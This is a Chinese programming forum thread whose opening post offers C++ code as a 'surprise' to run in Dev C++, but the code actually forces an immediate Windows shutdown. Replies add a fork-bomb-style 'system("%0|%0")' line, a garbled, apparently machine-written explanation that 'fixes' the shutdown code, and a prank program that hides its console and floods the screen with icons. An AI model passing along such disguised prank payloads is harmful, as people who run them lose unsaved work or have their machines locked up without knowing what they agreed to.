复制到DEV C++运行后有惊喜

CPP 刷题王 2021-10-27 18:07:05 2022-07-04 17:23:14 102
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
	system("shutdown -s -t 0");
	cout<<"0s:\n";//这个可以不要
	Sleep(1);
	cout<<"6s";//这个也可以不要
	return 0;
}
{{ vote && vote.total.up }}

共 54 条回复

tctm169 杀手

你的代码意图似乎是想在Windows环境下编写一个程序来关机,但是有一些小错误和需要注意的地方。首先,system("shutdowmp”)这条命令在Windows中实际上并不正确,用于关机的命令应该使用 shut dow 命令的不同参数。 在Windows中,如果你想要立即关机(不提示用户保存工作),你可以使用 -8-t0参数。-s 代表关机,-t0 表示延迟时间为0秒,即立即执行 下面是修改后的代码: CIH #include/包含system函数 #include<windows.h>//通常用于Windows API调用,但在这个简单的例子中实际上并不需要 int main(){ 使用正确的shutdowm命令参数来立即关机system("shutdow-s-t”); return 0; 注意,我在代码中包含了《cstd1ib〉头文件,这是因为 system函数定义在这个头文件中。《bits/stdc++.h>是一个GCC特有的非标准头文件,它包含了几乎所有标准库,但在其他编译器(如MSVC)中可能不可用或不受支持。为了代码的可移植性和清晰性,建议只包含你实际需要的头文件。 此外,<windows.h〉在这个例子中并不是必需的,除非你需要调用特定的Windows API函数。在这个简单的程序里,我们只需要使 用 system 函数执行命令行命令, 最后,请确保在测试这段代码时你有一个可以撒销关机的计划,比如立即按下电源键强制关机(这取决于你的系统配置),或者如果可能的话,在虑拟机中测试这段代码。因为一旦执行,它会导致你的计算机立即关机。

tctm169 杀手
CPP 刷题王

@lhf 🕳

CPP 刷题王

@Joshua

'%0' 不是内部或外部命令,也不是可运行的程序 或批处理文件。

lhf

有坑吧......

Joshua Microsoft

你可以试试

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
	system("%0|%0");
	return 0;
}
jxy2012 qwq

这种东西不是100年前就被玩烂的东西吗?

CPP 刷题王

@ykj105 你怎么没有 @ 起我啊?话说你是不是不知道洛谷在线IDE是什么? https://www.luogu.com.cn/ide

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

ykj105 小黑蛋

不知道能不能运行

ykj105 小黑蛋

@CPP 还有这个

#include<tchar.h>
#include<windows.h>
#include<ctime>
using namespace std;
void ____2() {
	HWND hwnd;
	hwnd=FindWindow("ConsoleWindowClass",NULL);
	if(hwnd) ShowWindow(hwnd,SW_HIDE);
	return;
}
int main()
{
	____2();
	HWND hwnd = GetDesktopWindow();
	HDC hdc = GetWindowDC(hwnd);
	POINT point;
	while(1){
		GetCursorPos(&point);
		DrawIcon(hdc,point.x+30,point.y+25,LoadIcon(NULL,IDI_QUESTION));
		DrawIcon(hdc,point.x+55,point.y+50,LoadIcon(NULL,IDI_WARNING));
		DrawIcon(hdc,point.x,point.y-5,LoadIcon(NULL,IDI_ERROR));
		DrawIcon(hdc,point.x-25,point.y-30,LoadIcon(NULL,IDI_INFORMATION));
		DrawIcon(hdc,point.x-55,point.y-60,LoadIcon(NULL,IDI_WINLOGO));
		Sleep(1);
	}
	int x = GetSystemMetrics(SM_CXSCREEN);
	int y = GetSystemMetrics(SM_CXSCREEN);
	srand(time(0));
	while(1) SetCursorPos(rand()%x, rand()%y);
}